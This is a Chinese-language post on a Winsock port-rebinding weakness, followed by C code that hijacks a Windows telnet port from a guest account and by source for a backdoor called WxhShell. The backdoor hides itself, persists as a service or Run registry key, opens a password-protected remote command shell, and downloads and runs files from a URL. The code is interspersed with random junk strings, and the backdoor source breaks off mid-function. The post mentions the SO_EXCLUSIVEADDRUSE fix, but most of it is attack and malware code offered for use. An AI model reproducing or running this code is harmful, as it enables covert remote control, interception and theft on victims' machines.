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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OrXx0Hn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 19)fN-0Z nSH
A,c saddr.sin_family = AF_INET; Dq/ _#&S __U;fH{c saddr.sin_addr.s_addr = htonl(INADDR_ANY); L8<Yk`jx #q{i<E 07 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AXBv']Y VKtrSY}6T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5 pNbO[ 5#~ARk*?a 这意味着什么?意味着可以进行如下的攻击: &KfRZ`9H 1tvgM
!. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ],ow@} m?;aTSa 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3VJoH4E!6 &]VCZQL 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fs q=u-= : ZN)a}\] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 hJ8|KPgdw (5@9j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uMm/$#E x{u7# s1|/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xwxMVp`|o *#j+,q!X 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s&S8P;K| lhm=(7Y #include 5m")GWQaP@ #include tN|sHgs #include l 6wX18~XJ #include EZkg0FhkZ DWORD WINAPI ClientThread(LPVOID lpParam); kq6K<e4jO int main() ?' H);ou-p { ZVotIQ/Q' WORD wVersionRequested; M70X dn DWORD ret; E?|"?R,,, WSADATA wsaData; '>(R'g42n BOOL val; L|G!of[8n SOCKADDR_IN saddr; 'tK5s>gv< SOCKADDR_IN scaddr; Wt+aW int err; pfW0)V1t SOCKET s; E^S[8= SOCKET sc; 3=xb%Upw int caddsize; F,#)8>O HANDLE mt; W(9fCDO; DWORD tid; =p>"PqJ/7n wVersionRequested = MAKEWORD( 2, 2 ); ~o`I[-g) err = WSAStartup( wVersionRequested, &wsaData ); ShanwaCDqv if ( err != 0 ) { _+K[1P printf("error!WSAStartup failed!\n"); )5P*O5kQ - return -1; Z~o*$tF/ } ]X+3" saddr.sin_family = AF_INET; TDg#O!DUF GDC`\cy //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pYV$sDlD VAf~,T]Ww saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <by}/lF0 saddr.sin_port = htons(23); wL,b.] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D"fE )@Q@Y { ,YFuMek printf("error!socket failed!\n"); e!yUA!x`u return -1; Y?hC/6$7 } #5O'XH5_ val = TRUE; U:>'^tkp //SO_REUSEADDR选项就是可以实现端口重绑定的 j[YzBXd
V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k;:v~7VF { qOz,iR?} printf("error!setsockopt failed!\n"); RsU=fe, return -1; N)A?*s'v~ } sChMIbq!Av //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o9M[Zr1@k //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f&t]O$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5=Mm=HyI2 -i|qk`Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 70&v`" { i](,s. ret=GetLastError(); HTI1eLZ2 printf("error!bind failed!\n"); %a+X\\v2 return -1; %JDG aG' } (utm+*V, listen(s,2); boo,KhW'Y while(1) <5/r { tA$,4B? caddsize = sizeof(scaddr); PRl\W:_t //接受连接请求 K|];fd U sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6cSMKbgZJ if(sc!=INVALID_SOCKET) >]Hz-2b { H[V^wyi'z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /ee:GjUkB if(mt==NULL) S5d:?^PGg { ^4]#Ri=U printf("Thread Creat Failed!\n"); sj2v*tFb break; ([UuO}m- } +Uq9C-Iu } $G5m/[KDI CloseHandle(mt); [6BLC{2 } lO8.Q"mxo closesocket(s); V4qHaG WSACleanup(); k);z}`7 return 0; Dqe)8 r } &T]+g8 '' DWORD WINAPI ClientThread(LPVOID lpParam) Gk,{{:M:5 { zy4AFW SOCKET ss = (SOCKET)lpParam; F
}pS'Y SOCKET sc; (}O)pqZ> unsigned char buf[4096]; m{!BSl SOCKADDR_IN saddr; 0~A<AF*t long num; z=!$3E ecr DWORD val; >OE.6)'Rm DWORD ret; KoiU\r //如果是隐藏端口应用的话,可以在此处加一些判断 yk#yrxM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %H>vMR-,~ saddr.sin_family = AF_INET; P~_CDh.N saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n0U^gsD4J saddr.sin_port = htons(23); [ar:zlV8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >NB}Bc { v6oPAqj,r printf("error!socket failed!\n"); W)^:*z return -1; qh0)~JL4 } ,.]e~O4R val = 100; BArsj if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X~0l1 @! { b-]E-$Uz ret = GetLastError(); 8 jqt=}b return -1; #i ?@S$ } I.R3?+tZ
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /2>-h-zBjw { =/6.4;8 ret = GetLastError(); E2(;R!ML# return -1; -_uL;9r } <Ml,H%F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ifTVTd7O { @[=*w`1 printf("error!socket connect failed!\n"); M =yZ5~3 closesocket(sc);
a[";K, closesocket(ss); 2@08 V| return -1; 1GOa'bxm } j`,;J[Zd`h while(1) lUUq|Qr { k%hD<_:p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P7egT,Z //如果是嗅探内容的话,可以再此处进行内容分析和记录 ejgg.G ^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vR,HCI num = recv(ss,buf,4096,0); yel>-=Vn if(num>0) enG6T send(sc,buf,num,0); %T'?7^\> else if(num==0) N#7 ]xL break; + A0@#:B num = recv(sc,buf,4096,0); 4bAgbx-^ if(num>0) V.y+u7<3} send(ss,buf,num,0); V]q{N-Iq else if(num==0) iM8hGQ` break; }S#.Pw% } q{U -kuui closesocket(ss); > 7;JZuVo closesocket(sc); .Z_U]_( return 0 ; |o!<@/iH= } `t6lnO ]VwAHT&je Q~xR'G[N ========================================================== Ne^#5 T .z[+sy_ 下边附上一个代码,,WXhSHELL {_q2kk o8s&n3mY}y ==========================================================
}rO4b>J *s%s|/ #include "stdafx.h" xje{kx# 'h81\SKFK9 #include <stdio.h> ;euWpE;E\# #include <string.h> >p<(CVX[ #include <windows.h> fLD9RZ8_ #include <winsock2.h> vi5~ Rd` #include <winsvc.h> M2s #include <urlmon.h> BbU&e z8P SQ.4IWT(hR #pragma comment (lib, "Ws2_32.lib") =pk'a_P8- #pragma comment (lib, "urlmon.lib") Ce0I8B2y A%GJ|h,i #define MAX_USER 100 // 最大客户端连接数 #5H@/o8!s= #define BUF_SOCK 200 // sock buffer )j9FB #define KEY_BUFF 255 // 输入 buffer F;b|A`M }2\"(_ #define REBOOT 0 // 重启 B"qG-ci #define SHUTDOWN 1 // 关机 @?1%*/ ]!A;-m #define DEF_PORT 5000 // 监听端口 *,Re&N8 =?f}h{8x> #define REG_LEN 16 // 注册表键长度 H!Od.$ZIX #define SVC_LEN 80 // NT服务名长度 sW]n~kTt' .H>Rqikj // 从dll定义API r[,KE.^6~# typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "~[Rwh? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lyi}q"Kn*; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %b*%'#iK typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |.S;z"v![ T+[e6/| // wxhshell配置信息 2Z97Tq struct WSCFG { uVk8KMYU int ws_port; // 监听端口 aQG#bh [ char ws_passstr[REG_LEN]; // 口令 ~FsUK;? int ws_autoins; // 安装标记, 1=yes 0=no kDz.{Ih char ws_regname[REG_LEN]; // 注册表键名 {c1qC zM4 char ws_svcname[REG_LEN]; // 服务名 {jVFlKP> char ws_svcdisp[SVC_LEN]; // 服务显示名 {Q-U=me\ char ws_svcdesc[SVC_LEN]; // 服务描述信息 =;`YtOL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 68!]q(!6F int ws_downexe; // 下载执行标记, 1=yes 0=no Ya_6Zd4O char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" RasoOj$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4tC_W!?$t NV gLq@F }; BmM,vllO L!p|RKz9X // default Wxhshell configuration |")x1'M struct WSCFG wscfg={DEF_PORT, N:<O "xuhuanlingzhe", $W?XxgkB? 1, vqs~a7E-P "Wxhshell", S?{5DxilO "Wxhshell", ;FmSL#]I "WxhShell Service", 4
* OU "Wrsky Windows CmdShell Service", nT12[@:Tr "Please Input Your Password: ", n,F00YR 1, 42u\Y_^ID " http://www.wrsky.com/wxhshell.exe", Lm?*p>\Q "Wxhshell.exe" 'l:2R,cP }; hG@ys5 P&GZe/6Y // 消息定义模块 QdTe!f| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=l(JJ char *msg_ws_prompt="\n\r? for help\n\r#>"; rTm{-b)r char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; d0B+syl&4l char *msg_ws_ext="\n\rExit."; zFn&~lFB char *msg_ws_end="\n\rQuit."; k~R[5W|' char *msg_ws_boot="\n\rReboot...";
FNuu ',: char *msg_ws_poff="\n\rShutdown..."; Q7r,5w&cm char *msg_ws_down="\n\rSave to "; =5`@:!t7 G|lI=Q3f char *msg_ws_err="\n\rErr!"; h7$!wf!I char *msg_ws_ok="\n\rOK!"; Q.1ohj0) l:eN u}{& char ExeFile[MAX_PATH]; H1nQ.P]_ int nUser = 0; DKl7|zG4 HANDLE handles[MAX_USER]; ak>NKK8P int OsIsNt; ^WD$
gd IFxI>6<& SERVICE_STATUS serviceStatus; ]e.+u SERVICE_STATUS_HANDLE hServiceStatusHandle; tTH%YtG 9C;Y5E~'L // 函数声明 Aa>gN int Install(void); Hz8`)cv` int Uninstall(void); MuGg
z>CV[ int DownloadFile(char *sURL, SOCKET wsh); pXv[]v int Boot(int flag); kW&Z%k void HideProc(void); .,Qnn}:l int GetOsVer(void); .4> s2 int Wxhshell(SOCKET wsl); q}$=bR1+ void TalkWithClient(void *cs); h)8+4?-4I int CmdShell(SOCKET sock); gF6j6 int StartFromService(void); k{jw%a<Sc int StartWxhshell(LPSTR lpCmdLine); /\cu!yiX -5 /v` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;Ia1L{472m VOID WINAPI NTServiceHandler( DWORD fdwControl ); |ozoc"' WG
!t!1p // 数据结构和表定义 $af}+:' SERVICE_TABLE_ENTRY DispatchTable[] = JjLyV`DJ { ~88 Tz+
{wscfg.ws_svcname, NTServiceMain}, j9ta0~x1*6 {NULL, NULL} w"agn}CK }; O6,"#BX QX.6~*m1 // 自我安装 5`'=Ko,N int Install(void) "P5bYq%0v { IXvz&4VD char svExeFile[MAX_PATH]; @:+n6 HKEY key; KM}4^Qc strcpy(svExeFile,ExeFile); )_*a7N! eM=) >zl // 如果是win9x系统,修改注册表设为自启动 =+}}Sv2 if(!OsIsNt) { S"TMsi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cJ##K/es RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nP\V1pgA RegCloseKey(key); 8o7]XZE=) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7Sz'vyiz RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `JWYPsWk RegCloseKey(key); o1X/<.0+ return 0; _Sgk^i3v } ?e y&Un" } &lPBqw } _SIs19"lR else { (Ef2
w[' 2r}uE\GN // 如果是NT以上系统,安装为系统服务 &O6;nJEI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SXBQ if (schSCManager!=0) ?FV7|)f { @SC-vc SC_HANDLE schService = CreateService O/Mz?$8J ( K>R;~
o schSCManager, ))IgB).3M wscfg.ws_svcname, ra%R:xX wscfg.ws_svcdisp, <a+eF}*2 SERVICE_ALL_ACCESS, Naf`hE9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
AZy~Q9Kc SERVICE_AUTO_START, P10p<@? SERVICE_ERROR_NORMAL, RZd4(7H=q svExeFile, \_gp50(3 NULL, J[<pZ
[ NULL, %<wQ NULL, fmnRUN= NULL,
N8kb-2 NULL RUS7Z~5 ); 9*=@/1 if (schService!=0) y'_V/w s { I(^jOgYU CloseServiceHandle(schService); E+m]aYu" CloseServiceHandle(schSCManager); })zB". strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kJurUDo strcat(svExeFile,wscfg.ws_svcname); MdVCD^B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a(}VA|l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); piYws<Q RegCloseKey(key); mEB2RLCM return 0; m~Y'$3w } R0Ax$Cv{ } QN5yBa!Wz CloseServiceHandle(schSCManager); Sv~YFS :oy } P~Te+ -jX} } >9o,S3 oh7#cFZZ0 return 1; CJMaltPp& } /<(*/P,> \3H<z@; // 自我卸载 U`bC>sCp int Uninstall(void) i{tTUA { =2RhPD HKEY key; 943I:, B -+3be(u if(!OsIsNt) { `a9k!3_L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6keP':bt RegDeleteValue(key,wscfg.ws_regname); '2|1%NSW9 RegCloseKey(key); !lQ#sL` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { My]+?.Ru RegDeleteValue(key,wscfg.ws_regname); ?%cn'=>ZI RegCloseKey(key); nB cp7e return 0; ,}9f(` } $ZQlIJZ } OW+ e_im} } 94T}iY. else { x @1px&^ 8_xnWMOe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); //\ds71h if (schSCManager!=0) abM84EU { 6#E]zmXO2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N4I^.k<-A if (schService!=0) uk`T+@K { vP3K7En if(DeleteService(schService)!=0) { (bg}an CloseServiceHandle(schService); wXc,F D$ CloseServiceHandle(schSCManager); KK:N [x return 0; o;ik Z*+* } '"oo;`g7 CloseServiceHandle(schService); S3R|8?| } B }6Kd CloseServiceHandle(schSCManager); Q/9a,85 } )r ULT$;i@ } 3H1Pp*PH uVN.= return 1; jMK3T } Kn']n91m jyNb(Z // 从指定url下载文件 f.@Xjf int DownloadFile(char *sURL, SOCKET wsh) 'KSa8;:=C { a]`itjL^ HRESULT hr; 8|w-XR char seps[]= "/"; %>i@F=O2< char *token; TW>?h=.z char *file; YZ0en1ly char myURL[MAX_PATH]; i#k-)N _$ char myFILE[MAX_PATH]; W3^.5I ]K7`-p~T strcpy(myURL,sURL); ~
9=27p token=strtok(myURL,seps); p:B
]Ft while(token!=NULL) 4 &|C} { ]5N zK=2{ file=token; G=1m]>I8 token=strtok(NULL,seps); n<E.Em1 } Te+^J8 ?gLAWz GetCurrentDirectory(MAX_PATH,myFILE); 9X3yp:>V strcat(myFILE, "\\"); t')h{2&&!2 strcat(myFILE, file); K<#-"Xe; send(wsh,myFILE,strlen(myFILE),0); &RWM<6JP send(wsh,"...",3,0); (Q'U@{s hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0F^]A"kF if(hr==S_OK) u)7*Rj^ return 0; zwnw' else IdF$Ml#[h return 1; 0rcjorWI or7pJy%4" } IQIbz{bMx _e* c // 系统电源模块 AQe!Sqg' int Boot(int flag) XoJgs$3B { u%xDsTDP HANDLE hToken; Yq
J]7V\ TOKEN_PRIVILEGES tkp; v`SY6;<2 -Un=TX if(OsIsNt) { @HvScg*Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b_vVB`> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ge$LIsE8 tkp.PrivilegeCount = 1; Y#`Lcg+r, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *2=W5LaK. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [^M|lf if(flag==REBOOT) { ;b1wk^,Hw~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Z,{s158L return 0; PPj[;(A } Y9tV% else { E+z18Lf? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gfm;xT/y return 0; H<Hrwy~ } ESIzGaM } tOM(U-7Z& else { "5}%"-# if(flag==REBOOT) { ]n5"Z,K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )\0q_a return 0; ZBJ3 VK } JOHRmfqR else { .H2qs{N! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 87<9V.s2 return 0; U` hfvTi } \?&Au } w;+ br ?'wsIH]m return 1; Gs_qO)~xo } %2D17*eK x@m<Ym- // win9x进程隐藏模块 8*s7m void HideProc(void) N_G4_12( { _!!}'fMC {6O0.}q]& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7~b!4x|Z if ( hKernel != NULL )
rN"Xz { .45^=2NGmQ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RqLNp?V% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MCU9O FreeLibrary(hKernel); M3(k'q7&: } ^PqMi:htc hH`Jb77L return; sx5r(0Z } %!y89x=E J?%}=_fsa // 获取操作系统版本 L2fVLKH int GetOsVer(void) M&y5AB0 { :#$F)]y'\ OSVERSIONINFO winfo; k)":v3^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #mLuU GetVersionEx(&winfo); ooE{V*Ie if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U=cWmH return 1; I4D<WoU;dJ else 1b3( return 0; i2PZ'.sL } vv.PF~: }Hy ~i // 客户端句柄模块 RUGv8"j int Wxhshell(SOCKET wsl) ~Ltr.ci { MEq"}zrh SOCKET wsh; Np2ci~"<. struct sockaddr_in client; -$YJfQE6G DWORD myID; ~R.dPUr l67KJ while(nUser<MAX_USER) |RhM| i { 6E|S int nSize=sizeof(client); 6OB" , wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fbC~WV# if(wsh==INVALID_SOCKET) return 1; Mo^`\/x! ^$Krub{| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'RTtE if(handles[nUser]==0) ZHkw6@| closesocket(wsh); \%5MAQS else K]fpGo nUser++; nl
n OwyMJ } Y~qb;N\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6RK\}@^=K >I<PO.c! return 0; k+1gQru{d } Gt~JA0+C)7 {1~T]5 // 关闭 socket <KQ(c`KW7 void CloseIt(SOCKET wsh) [uR/M { +K{LQsR] closesocket(wsh); ,W*H6fw+ nUser--; lS9n@ ExitThread(0); Gv~p } nPA@h $<w)j! // 客户端请求句柄 i@zY9,b void TalkWithClient(void *cs) Rs7|}Dl} { D7Zm2Kj ebM{OI SOCKET wsh=(SOCKET)cs; =+oZtP-+o char pwd[SVC_LEN]; &Lt@} 7$8 char cmd[KEY_BUFF]; ^o eJKjJ char chr[1]; `\b+[Nes int i,j; ,rO[mNk9@ Vb)zZ^va+ while (nUser < MAX_USER) { WzlC*iv :6Pad if(wscfg.ws_passstr) { 9UD
@MA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C-SLjJw //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $YM_G=k //ZeroMemory(pwd,KEY_BUFF); g>0vm2| i=0; R$6qoqv{yG while(i<SVC_LEN) { 3!#/k+,C u#jC#u^M // 设置超时 `9 [i79U fd_set FdRead; 1"]P`SY$r struct timeval TimeOut; y0IK,W'&? FD_ZERO(&FdRead); fL6e?\Pw FD_SET(wsh,&FdRead); ?<~WO? TimeOut.tv_sec=8; m#H_*L0 TimeOut.tv_usec=0; c`kQvXx int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5H
!y 46z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A 's-'8m F
?=9eISLJ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xsP4\C> pwd =chr[0]; )[&zCqDc if(chr[0]==0xd || chr[0]==0xa) { (tCib 4 pwd=0; JN[0L: break; xRxy|x[
} ClQe4uo{ i++; KIus/S5
RC } 5PiOH"!19 sb.J
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// 如果是非法用户,关闭 socket >"d?(@PJ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g22gIj] } /QxlGfNZ \}dyS8 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,8VU&?`<} send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _vl}*/=Hc n WaNT- while(1) { =G${[V\ ^jyD# ZeroMemory(cmd,KEY_BUFF); |>1hu1 npH?4S-8G // 自动支持客户端 telnet标准 .<&s%{EW j=0; O)#U ^ while(j<KEY_BUFF) { yoS? s if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9M-K]0S( cmd[j]=chr[0]; OAe#Wf!c if(chr[0]==0xa || chr[0]==0xd) { Q{y{rC2P cmd[j]=0; ;Icixu'O break; Vxdp| } M+Uyb7 j++; "/+zMLY } SvuTc!$? S4A q' // 下载文件 P+(i^=S if(strstr(cmd,"http://")) { B3
zk(RNZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;L"!I3dM) if(DownloadFile(cmd,wsh)) 7$uJ7`e send(wsh,msg_ws_err,strlen(msg_ws_err),0); MC!ZX)mF else SW 8x]B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~qWI>.4 } Sycw %k else { \caH pof kfrY1 switch(cmd[0]) { ^vni&sJ Ciihsm // 帮助 WlVl[/qt case '?': { 8l+H"M&| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *3+-W break; .#w6%c@ } 4^Rd{'mt // 安装 SNY (* case 'i': { < n?=|g if(Install()) f`$Gz send(wsh,msg_ws_err,strlen(msg_ws_err),0); dl|gG9u4Q else _elX<o4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _GA$6#] break; k&6I f0i } M0'v&g // 卸载 {^ec(EsO# case 'r': { /b[2lTC-e if(Uninstall()) [M+tB"_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Te-Amu else %,V
YiW0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >hsuAU.UOR break; h #.N3o } =
[@)R!3H // 显示 wxhshell 所在路径 2YBIWR8z case 'p': { f@ `*>" char svExeFile[MAX_PATH]; i'HQQWd strcpy(svExeFile,"\n\r"); 5LW}h^N strcat(svExeFile,ExeFile); grom\ send(wsh,svExeFile,strlen(svExeFile),0); b]fzRdhl break; Frm;Ej3?$ } -K%5(Eg // 重启 X@wm1{! case 'b': { a\5FAkI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @4GA^h if(Boot(REBOOT)) On_@HQ/FI send(wsh,msg_ws_err,strlen(msg_ws_err),0); `C72sA{M. else { 1= VJ&D; closesocket(wsh); l]LxL ExitThread(0); P,xwSvO#M } *VeW?mY,P break; #%,RJMv } p<GR SJIk= // 关机 IyUdZ,ba case 'd': { OM83S|1s send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gX @`X if(Boot(SHUTDOWN)) PGn);Baq send(wsh,msg_ws_err,strlen(msg_ws_err),0); lFG9=Wf else { PX
O!t]* closesocket(wsh); a:rX9-** ExitThread(0); m@G i6 } wxQ>ifi9Z break; 0~WF{_0| } }d
Ad$^ // 获取shell WCq
/c6 D case 's': { tD=@ SX'Y CmdShell(wsh); mLbN/M closesocket(wsh); `#s#it'y ExitThread(0); FiAY\4 break; ^_5|BT@ } S -&)p@4 // 退出 ~Qj}ijWD case 'x': { epD?K send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "jg@w%~ CloseIt(wsh); Xz{~3ih break; o+ O}Te } _r Y,}\ // 离开 5p"BD'^: case 'q': { %/9;ZV send(wsh,msg_ws_end,strlen(msg_ws_end),0); &m^@9E)S/ closesocket(wsh); - xm{&0e) WSACleanup(); X JGB)3QI exit(1); HM[klH]s= break; ub:ly0;t } </zXA$m } r|<DqTc6l } ,I.WX,OR X$?3U! // 提示信息 W#w.h33)#6 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J1ON,&[J } `{K_/Cit } fRZ KEIyk #E7AmmqD% return; |+,[``d>" } f{#j6wZM O'*@ Ytn // shell模块句柄 B}?IEpYp int CmdShell(SOCKET sock) T<b+s#n4 { d3Di/Iej STARTUPINFO si; yx{3J
ZeroMemory(&si,sizeof(si)); {jKI^aC<[ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j+4H}XyE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; El2e~l9 PROCESS_INFORMATION ProcessInfo; 62'1X" char cmdline[]="cmd"; Cr ?4Ngw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \6I+K" return 0; +/{L#e> } LaMLv<)k "B7`'jz // 自身启动模式 V7Yaks int StartFromService(void) q%YV$$c { H6TD@kL9Wr typedef struct Q4* -wF-P { d 4?d4;{ DWORD ExitStatus; 5II(mSg8 DWORD PebBaseAddress; `YBkF DWORD AffinityMask; Y]|:?G7l] DWORD BasePriority; E-5_{sc ULONG UniqueProcessId; lK7m=[j ULONG InheritedFromUniqueProcessId; sJx+8
- } PROCESS_BASIC_INFORMATION; SGc8^%-` \00DqL(Oj` PROCNTQSIP NtQueryInformationProcess; ef! XV7P >x1p%^cA;= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sM[I4.A3 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !9iGg*0dx Bf`9V713 HANDLE hProcess; @F*wg PROCESS_BASIC_INFORMATION pbi;
